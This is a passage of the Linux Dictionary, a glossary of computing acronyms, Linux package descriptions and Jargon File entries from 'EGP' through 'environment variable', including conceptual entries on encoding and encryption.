is a protocol for exchanging routing information between two neighbour gateway hosts (each with its own router) in a network of autonomous systems. EGP is commonly used between hosts on the Internet to exchange routing table information. The routing table consists a list of known routers, the addresses they can reach, and a cost metric associated with the path to each router so that the best available route is chosen. Each router polls its neighbour at intervals between 120 and 480 seconds and the neighbour responds by sening its complete routing table. EGP-2 is the latest version of EGP. A more recent exterior gateway protocol, the Border Gateway Protocol (BGP), provides additional capabilites. From EGP <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGPA

Linux Dictionary

Erlangen General Purpose Array (MP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGPRS

Enhanced General Packet Radio Service (8-PSK, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGREP

Extended Global Regular Expression Print (Unix, GREP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

egrep

print lines matching a pattern From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EGS

Enhanced Graphics System (Commodore) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

egtk

Eiffel wrapper for GTK library An Eiffel wrapper for the GTK library. It supports the SmallEiffel and the ISE compilers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EHF

Encoding Header Field (Internet, RFC 1154) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EHKP

Einheitliche Hoehere KommunikationsProtokolle (BTX, ER, Telekom) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EHLAPI

Emulator High Level Language API (IBM, 3270, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EHS

European Home Systems [concept] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EHSA

European Home Systems Association (org., Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EHW

Evolvable HardWare From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIA

Electronics Industry Association (USA, org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIB

European Installation Bus From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIBA

European Installation Bus Association (org., Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EICAVR

European Institute for Computer Anti-Virus Research (org., Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EICL

European Informatics Continuous Learning (CEPIS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIDE

Linux Dictionary

Enhanced Integrated Drive Electronics (HDD, IDE), "E-IDE" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eiemo

Enhanced Implementation of Emacs Interpreted Objects EIEIO is an Emacs lisp program which implements a controlled object-oriented programming methodology following the CLOS standard. EIEIO also has object browsing functions, and custom widget types. It has a fairly complete manual describing how to use it. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIGRP

Enhanced Interior Gateway Routing Protocol (IGRP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EINE

EINE Is Not EMACS (EMACS, LISP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

einitex

extended TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIO

Enhanced Input/Output [architecture] (HP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIP

Extended Internet Protocol (Internet, RFC 1385) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIS

Electronic Information Systems (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIS

European Information System (Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIS

Executive Information System (IM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EISA

Enhanced Industry Standard Architecture (ISA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EISA

European Imaging and Sound Association (org., Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EISB

Electronic Imaging Standards Board (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EISS

Europaeisches Institut fuer SystemSicherheit (org., Karlsruhe, Germany, Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EIT

Encoded Information Type From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EITS

Eesti InfoTehnoloogია Seltsi (org., Estland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EJB

Enterprise Java Beans (Java, Sun) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EJC

Electronic Journal of Communication From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eject

ejects CDs and operates CD-Changers under Linux This little program will eject CD-ROMs (assuming your drive supports the CDROMEJECT ioctl). It also allows setting the autoeject feature, currently supported by a number of the Linux CD-ROM drivers. See the documentation in /usr/src/linux/Documentation for more information on the autoeject feature. On supported ATAPI/IDE multi-disc CD-ROM changers, it allows changing the active disc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eject

The eject program allows the user to eject removable media (typically CD-ROMs, floppy disks or Iomega Jaz or Zip disks) using software control. Eject can also control some multi-disk CD changers and even some devices' auto-eject features. Install eject if you'd like to eject removable media using software control. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EKMS

Electronic Key Management System (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EKOS

Elektronisches KOmmunikationsSystem (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EL

Electro Luminescent [display] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EL/IX

the goal is to be a standards-compliant subset of POSIX and ANSI C. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EL1

Extensible Language one (ECLogic) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELAN

Education LANguage From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELAN

Emulated Local Area Network (ATM, LANE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELAP

Ethernet Link Access Protocol (LAP, ethernet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elatex

extended TeX From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eldav

an interface to the WebDAV servers for Emacs. WebDAV files can be treated just like a normal file in Emacsen. Emacs/w3 is not required. External program is used for WebDAV access. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

electric

electrical CAD system Electric is a sophisticated electrical CAD system that can handle many forms of circuit design, including custom IC layout (ASICs), schematic drawing, hardware description language specifications, and electro-mechanical hybrid layout. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

electric-fence

Linux Dictionary

A malloc(3) debugger Use virtual memory hardware to detect illegal memory accesses. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

electricssheep

screensaver collective dream of sleeping computers Electric sheep is the collective dream of sleeping computers from all over the internet. Less poetically, it is an Internet server and xscreensaver module that displays MPEG video of an animated fractal flame. In the background, it contributes render cycles to the next animation. Periodically, it uploads completed frames to the server, where they are compressed for distribution to all clients. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Elevator seeking

In hard disks, a way to sort data requests to minimize jumping between tracks. In an elevator seeking scheme, the drive handles data requests in track order; that is, it gets needed data from inner tracks first, then from the outer tracks. Elevator seeking minimizes access time. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELF

Executable and Linkable Format (Unix, OS/2) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELF

Executable and Linking Format – a binary format that is much simpler to make shared libraries and dynamic loading. Originally developed by USL (UNIX System Laboratories). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELH

Entity Life History (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELI

Embedded LISP Interpreter (Andrew mail system) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elib

Library of commonly-used Emacs functions Elib is designed to be for Elisp programs what libg++ is for C++ programs: a collection of useful routines which don't have to be reinvented each time a new program is written. Elib contains code for: – container data structures (queues, stacks, AVL trees, etc) – string handling functions missing in standard emacs – minibuffer handling functions missing in standard emacs – routines for handling lists of so called cookies in a buffer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELinOS

From German firm SYSGO Real-Time Solutions GMBH, ELinOS is an embedded Linux distribution for Industrial Applications. ELinOS v2.0 includes PowerPC-Support, Real-Time Extension RTAI, Linux Kernel v2.4 and more. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELK

Extension Language Kit (Scheme) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elk

The Extension Language Kit, an Scheme implementation Elk is an implementation of the Scheme programming language, designed specifically as an embeddable, reusable extension language subsystem for applications written in C or C++. Elk is also useful as a stand-alone Scheme implementation. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELKS

ELKS: The Embeddable Linux Kernel Subsystem. ELKS 0.1.0-pre4 was released March 4, 2002. The Elks Distribution Edition (EDE) 0.0.5 was released December 18, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elks-libc

16-bit C library and include files This is the C library used to compile with bcc. It includes all the headers and static libraries needed to build 16-bit applications, for Linux/8086, Linux/i386 and DOS .COM executables. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELLIS

EuLisp LInDa System (LISP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELM

ELectronic Mailer (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELO

Elektronischer Leitz Ordner (OA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELOD

Erasable Laser Optical Disk (OD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELP

Equational Logic Programming [language] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elpoint

Yet another presentation tool on Emacsen Elpoint is a presentation tool which runs on Emacs. Features * Easy to create and display a presentation. * Dynamic presentation content can be developed using emacs lisp. * A major mode `ept-mode' is included which supports editing elpoint presentation. * Inline images. Images can be retrieved from Internet. * Create a preseitation from outline-mode text. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELRAD

[magazin fuer] ELEktronik und technische RechnerAnwenDungen From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELS

Entry Level System ??? (Novell, Netware) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eLSD

The Linux Society Distro, eLSD, was announced September 21, 2002. Derived from Devil-Linux, eLSD is a highly secure CD boot only OS. It's currently available in three versions: 0.1 - Devil-Linux offered as a build and burn kit. 0.2 - This version begins to make changes towards the eLSD goals by creating a bigger divide between the initrd/linuxrc boot and the init/boot in the OS. It also boots w/o the floppy that includes the /etc filesystem. 0.3 - This version actually converts Devil-Linux into an optional hard drive boot OS. The boot process occurs entirely in the initrd phase and then accesses the harddrive. This kit offers a robust kernel, two custom initrds --- one that boots to busybox/tinylogin --- and grub and parted support. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elserv

HTTP server that runs on Emacsen. Elserv is an HTTP server which runs on Emacs, as a background process. Since Emacs does not support server sockets, Elserv runs dedicated server process (ruby script) as a backend process and communicate with it to provide a server feature on Emacs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elvis

A much improved "vi" editor with syntax highlighting. Elvis is a clone of vi/ex, the standard UNIX editor. Elvis supports nearly all of the vi/ex commands, in both visual mode and ex mode. Elvis adds support for multiple files, multiple windows, a variety of display modes, on-line help, and other

miscellaneous extensions. Because of its html mode, and its ability to do http and ftp, it can now also be used as a poor man's web browser! Elvis provides color syntax highlighting, with syntax modes for c, c++, java, awk, makefiles, perl, postscript, pascal, sh, tcl, vrml, html, diffs, man pages, and fortran. If all this isn't enough for you, it is easy to add new syntax modes (additions are welcome!). Elvis also has a special hex editing mode for directly editing binary data. This version of elvis also includes ctags and ref, for quickly navigating about your source code. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elvis-tiny

Tiny vi compatible editor for the base system. Elvis-tiny is based on a 1991 Minix version of elvis. You should install another vi-editor (such as "elvis", "nvi" or "vim") if you want a full featured vi editor. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elvtune

I/O elevator tuner From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ELX, Everyone's Linux

Elx combines the ease and familiarity of Windows with the indisputable power and robustness of LINUX. Elx does not expect you to change or re-learn the way you've been using your PCs. While features of Elx are far superior to Windows in all ways, they are presented and treated in a similar way (better in some cases) and all this resting unshakably on a rock solid foundation, the LINUX. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

elza

Script language for automating HTTP requests Elza is a set of perl scripts which can be used as an interpreter for automating requests on web pages. It can extract dynamic URLs from a page, handle forms, cookies, HTTP authentication, redirects / refreshes, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EMACS

/ee'maks/ n. [from Editing MACroS] The ne plus ultra of hacker editors, a programmable text editor with an entire LISP system inside it. It was originally written by Richard Stallman in TECO under ITS at the MIT AI lab; AI Memo 554 described it as "an advanced, self-documenting, customizable, extensible real-time display editor". It has since been reimplemented any number of times, by various hackers, and versions exist that run under most major operating systems. Perhaps the most widely used version, also written by Stallman and now called "GNU EMACS" or GNUMACS, runs principally under Unix. (Its close relative XEmacs is the second most popular version.) It includes facilities to run compilation subprocesses and send and receive mail or news; many hackers spend up to 80% of their tube time inside it. Other variants include GOSMACS, CCA EMACS, UniPress EMACS, Montgomery EMACS, jove, epsilon, and MicroEMACS. (Though we use the original all-caps spelling here, it is nowadays very commonly `Emacs'.) Some EMACS versions running under window managers iconify as an overflowing kitchen sink, perhaps to suggest the one feature the editor does not (yet) include. Indeed, some hackers find EMACS too heavyweight and baroque for their taste, and expand the name as `Escape Meta Alt Control Shift' to spoof its heavy reliance on

keystrokes decorated with bucky bits. Other spoof expansions include 'Eight Megabytes And Constantly Swapping' (from when that was a lot of core), 'Eventually malloc(s) All Computer Storage', and 'EMACS Makes A Computer Slow' (see recursive acronym). See also vi. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Emacs

A UNIX-based text editor that is sometimes configured as the default editor on UNIX systems. Programmed in LISP, emacs is an excellent hacker's tool, but can be a nightmare for users accustomed to user-friendly word processing programs. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EMACS

Editing MACroS (GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacs

Emacs is a powerful, customizable, self-documenting, modeless text editor. Emacs contains special code editing features, a scripting language (elisp), and the capability to read mail, news and more without leaving the editor. This package includes the libraries you need to run the Emacs editor, so you need to install this package if you intend to use Emacs. You also need to install the actual Emacs program package (emacs-nox or emacs-X11). Install emacs-nox if you are not going to use the X Window System; install emacs-X11 if you will be using X. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacs

Emacs is a powerful, customizable, self-documenting, modeless text editor. Emacs contains special code editing features, a scripting language (elisp), and the capability to read mail, news, and more without leaving the editor. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Emacs

Emacs is different things to different people. Depending who you ask, you'll could get any of the following responses: Text Editor, Mail Client, News Reader, Word Processor, Religion, Integrated Development Environment, Whatever you want it to be!, But for our purposes, let's just pretend it's a text editor--an amazingly flexible text editor. We'll dig deeper into the question later on. Emacs was written by Richard Stallman (founder of the Free Software Foundation: <http://www.fsf.org/> and the GNU project <http://www.gnu.org/>) and he still maintains it today. Emacs is one of the most popular and powerful text editors used on Linux (and Unix). It is second in popularity only to vi. It is known for it huge feature set, ability to be easily customized, and lack of bugs. It's large feature set and ability to be customized actually are the result of how Emacs was designed and implemented. Without going into all the details, I'll simply point out that Emacs isn't ``just an editor". It is an editor written mostly in the programming language Lisp. At the core of Emacs is a full-featured Lisp interpreter written in C. Only the most basic and low-level pieces of Emacs are written in C. The majority of the editor is actually written in Lisp. So, in a sense, Emacs has an entire programming language ``built in" which you can use to customize, extend, and change its behavior. Emacs is also one of the oldest editors around. The fact that it has been used by thousands of programmers over the past 20 (?) years means that there are many add-on packages available. These add-ons allow you to make Emacs do things that Stallman had probably never dreamed possible when he first began work on Emacs. More on that in a later section. There are many other web sites and documents which give a better overview of Emacs, its history, and related matters. Rather than attempt to reproduce much of that here, I suggest that you check out some of the places listed in Section Other Resources section of this document. From EMACS-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Emacs

The extensible, customizable, self-documenting real-time display editor. Emacs has special code editing modes, a scripting language (elisp), and comes with many packages for doing mail, news. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacs-X11

Emacs-X11 includes the Emacs text editor program for use with the X Window System (it provides support for the mouse and other GUI elements). Emacs-X11 will also run Emacs outside of X, but it has a larger memory footprint than the 'non-X' Emacs package (emacs-nox). Install emacs-X11 if you're going to use Emacs with the X Window System. You should also install emacs-X11 if you're going to run Emacs both with and without X (it will work fine both ways). You'll also need to install the emacs package in order to run Emacs. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacs20-dl

The GNU Emacs editor. (Dynamic Loading supported) GNU Emacs is the extensible self-documenting text editor. This binary supports the Dynamic Loading architecture (dl). If you want to use dynamic loadable modules, you should use this instead of pure emacs20 package. Dynamic Loadable Module examples are Canna/Wnn input method support. (emacs-dl-canna/emacs-dl-wnn package) And some dirty patch applied. Dirty means such as, Rejected by upstream authors (difficult for merge), Code from other emacsen, like XEmacs/Meadow/obsolete Mule2.3, or backported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacs20-el

GNU Emacs LISP (.el) files. GNU Emacs is the extensible self-documenting text editor. This package contains the elisp sources for the convenience of users, saving space in the main package for small systems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacsclient

tells a running Emacs to visit a file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacsen-common

Common facilities for all emacsen. This package contains code that is needed by all the (x)emacs packages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacspeak

speech output interface to Emacs Emacspeak is a speech output system that will allow someone who cannot see to work directly on a UNIX system. Emacspeak is built on top of Emacs. Once you start emacs with emacspeak loaded, you get spoken feedback for everything you do. Your mileage will vary depending on how well you can use Emacs. There is nothing that you cannot do inside Emacs :-). This package includes speech servers written in tcl to support the DECTalk Express and DECTalk MultiVoice speech synthesizers. For other synthesizers, look for separate speech server packages such as emacspeak-ss. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

emacspeak-ss

Emacspeak speech server for several synthesizers emacspeak-ss is an interface between Emacspeak and any of several speech synthesizers: DoubleTalk PC version 5.20 or later (internal), DoubleTalk LT version 4.20 or later (serial port version), LiteTalk version 4.20 or later, Braille 'n Speak, Type 'n Speak, Braille Lite, Apollo 2 from Dolphin, or Accent SA. If you have a DoubleTalk PC, you also need the dtlk device driver – either the module or compiled into your kernel. (Note that versions 2.2.16 and earlier of the Linux kernel sources have a bug in the dtlk device driver.) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

email

Electronic messages (usually plain text or hypertext) sent from one recipient to another over a network. Email is sent using a mail transfer agent and is read using a mail user agent (or email client).

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Email (Electronic Mail)

Messages, usually text, sent from one person to another via computer. E-mail can also be sent automatically to a large number of addresses. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EMAS

Edinburgh Multi-Access System (OS, ICL 4-75) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EMB

Enhanced Master Burst (EISA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Embedded Debian

The Embedded Debian project produced a very useful pre-packaged toolchain, and a tool for configuring filesystems (emdebsys, aka CML2+OS). Many groups and companies around the world are using the embedian toolchain for ARM which has proved robust and effective. Emdebsys has not been widely used as it is not quite mature enough for production use. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Embedded Freedom Linux

Freedom is a bootable Linux CD, to help new users see the power of Linux. It is built with BBLCD, WhiteDwarf, and Slackware packages. It works on PCs and laptops, supports wireless PCMCIA cards and almost any network, video, and sound card, and features software from many open source projects such as fvwm95 (familiar windows 95 look and feel) gftp, GTK-Gnutella, centerICQ, Dillo, sylpheed, airsnot, SSH, and more. The initial release, version 1, was released December 15, 2002. A CD-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Embedix

A compact, yet robust embedded Linux distribution from Lineo, Inc. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Extended Network Addressing (IBM, SNA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

encoding (encode)

Contrast: Encoding is not encryption. A lot of passwords are sent across the wire encoded (such as HTTP's BASE64 encoded passwords). In essence, they are still clear-text passwords; most password sniffers will still read them from the wire. Example: The main issue with encoding is how to get binary data sent within a text message. For full binary data, this results in about 40% "expansion" of the file size (i.e. when you e-mail 1-megabyte of data to a friend, this encoding will result in about a 1.4-megabyte message size). BASE64 aka. RADIX64. Content-Transfer-Encoding: Base64 The preferred encoding method these days for MIME e-mail messages and virtually everywhere else. uuencode and uudecode UNIX-to-UNIX While having been largely replaced with BASE64 encoding, uuencoding is the granddaddy of encoding methods. It increases the file size roughly 42%. It was originally developed for e-mail encoding. Few e-mail programs generate this encoding, but most all of them can decode it. The main reason for its disfavor is that a lot of programs are slightly inconsistent in the way that they encode/decode data using this technique, subtly corrupting files. See also: uuencode, quoted printable Content-Transfer-Encoding: quoted-printable This consists of normal ASCII text, where any binary character (or other problematic character such as a space at the end of the line) is converted to a 3-character code consisting of the equals sign followed by two hex digits representing the binary value. For example, the code =20 indicates a single character with the hex value of 0x20, which is equal to decimal 32. In ASCII, this is a space. E-mail messages are often automatically line-wrapped for long lines. The line is frequently wrapped after a space between two words, resulting in a space at the end of a line. Therefore, you will sometimes see e-mail messages with a lot of lines ending in =20 due to the requirements of this encoding method to encoding trailing spaces. This encoding is most often used for European text (especially French) which has occasional accented characters in what is otherwise largely ASCII text. BinHex. A standard Macintosh encoding method; rarely used elsewhere. Key point: E-mail clients typically support more encoding methods than content scanners (aka. anti-virus scanners). Therefore, by encoding your e-mail correctly, you can often bypass these. Key point: A big problem in the security industry is the presence of redundant encoding methods Microsoft's web servers were hacked because of redundant ways of encoding UNICODE characters. TODO See also: UNICODE From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

encompass

a free web-browser for GNOME Encompass is a free web-browser for GNOME. It relies on gtkhtml for rendering HTML pages and on libneon for HTTP transport. <http://encompass.sourceforge.net>
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

encryption

The process of encoding data such that users and processes with proper authentication credentials can access it, while unauthorized users cannot. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

encryption (encrypt, encipher)

Encryption is a way of mangling data so that an unauthorized party cannot understand it. Encryption applies mathematical operations to data in order to render it incomprehensible. The only way to read the data is apply the reverse mathematical operations. In technical speak, encryption is applies mathematical algorithms with a key that converts plaintext to ciphertext. Only someone in possession of the key can decrypt the message. Analogy: Some aliens come down to earth and give you a safe, and a key to the lock. For purposes of this discussion, the aliens use some magic technology that is beyond our human understanding, and that we will never be able to break into the safe. You steal something, put it into the safe, and lock it up with the key. You hide the key. The police arrest you and confiscate the safe. The only way the police will ever recover this stolen object is when you give them the key. Encryption is the same way; it creates an unbreakable box that you can put data in that nobody can ever get back out unless they have the appropriate key. Controversy: Encryption has massive philosophical implications when put into widespread use. It means that citizens can hide their data from governments (especially repressive ones) and law enforcement (especially when you are committing a crime). This has the potential of making governments more accountable to the populace. It likewise has the potential of making crime easier. Key point: Encryption tends to be the strongest link in the chain. When encryption is cracked, it is usually through some other weakness like key distribution or weak passwords. Contrast: Asymmetric encryption uses different keys for encryption and decryption. Since the most useful form of this is one you keep one key private and make the other public, this is better known as public key encryption. In contrast, symmetric encryption uses the same key for both encryption and decryption. Notes: Some algorithms popular in cryptography are: DES, rc4 Some popular applications that use encryption are: PGP, web browsers. Some protocols that use encryption are: SSL, IPsec From Hacking-Lexicon

Embedded NAS Firmware (RAID, NAS, ArtStor) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Engarde Secure Linux

EnGarde is a secure distribution of Linux engineered from the ground-up to provide organizations with the level of security required to create a corporate Web presence or even conduct e-business on the Web. It can be used as a Web, DNS, e-mail, database, e-commerce, and general Internet server where security is a primary concern. Version 1.2 (Professional) was released June 28, 2002. Version 1.3 (Community Edition) was released April 28, 2003. A 'secured' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ENIAC

Electronic Numerical Integrator And Computer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Enlightenment

One of several user interfaces (window managers). For more on AfterStep, go to www.afterstep.org. (Also, see AfterStep, GNOME, KDE and X Window System.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

enlightenment

The Enlightenment Window Manager Enlightenment – the window manager that dares to do what others don't. It features KDE and GNOME integration, multi-program sound support, iconification, sliding desktops, docking, epplets, Xinerama support and much more. Enlightenment takes the concepts of themes to another level – everything can be changed. The visual components of themes are a rich set of graphical images in a variety of formats. Theme makers can unleash their artistic talents without bounds. Themes are not limited to just different colors and background images on the same old desktop. Enlightenment features the BrushedMetal theme, designed by gimp legend, tigert. It is predominately grey with the subtle texture of – you guessed it – brushed metal. The menus in particular look superb. The sound files for BrushedMetal are in a separate package, enlightenment-theme-brushedmetal. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ENP

Embedded NPrinter (NEST, Novell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ENS

Enterprise Network Services (Banyan, VINES) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

enscript

Converts ASCII text to Postscript, HTML, RTF or Pretty-Print Enscript converts ASCII files to PostScript, HTML, RTF or Pretty-Print and stores generated output to a file or sends it directly to the printer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

enscript

GNU enscript is a free replacement for Adobe's Enscript program. Enscript converts ASCII files to PostScript(TM) and spools generated PostScriptoutput to the specified printer or saves it to a file. Enscript can be extended to handle different output media and includes many options for customizing printouts. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ENSIQ

ENS – Information Query (Banyan, VINES, ENS), "ENS IQ" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ENSMT

ENS – Management Tool (ENS, Banyan, VINES), "ENS-MT" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ent

A pseudorandom number sequence test program This program applies various tests to sequences of bytes stored in files and reports the results of those tests. The program is useful for those evaluating pseudorandom number generators for encryption and statistical sampling applications, compression algorithms, and other applications where the information density of a file is of interest. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

entity

XML-based GUI builder for GTK+ Entity is an XML-based GUI builder and application scripting framework. It combines the ease of use of XML for GUI layout and the power of Perl, Python, TCL, JavaScript, and C for the application logic. An Entity GUI is usually much shorter than the same program written in any other language. This package contains the core portions of Entity along with Perl support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

entrigraph

convert C source code to use trigraphs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

env

run a program in a modified environment From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

environment

A set of shell variables and their assigned values provided for each process that is called. The default environment for your terminal is stored in your home directory in a file called either .profile (Bourne or Korn shell) or .login (C shell). You can modify the environment by reassigning shell variables. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Environment

The hardware and operating system for application programs, such as the Macintosh environment. In MS-DOS, the environment also is a space in memory reserved for storing variables that applications running on your system can use. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

environment variable

A setting that only applies to the current working environment. Environment variables set paths, permissions, and other configurable settings that help users efficiently run their system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

environment variable

A variable that is available to any program that is started by the shell.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Environment variable

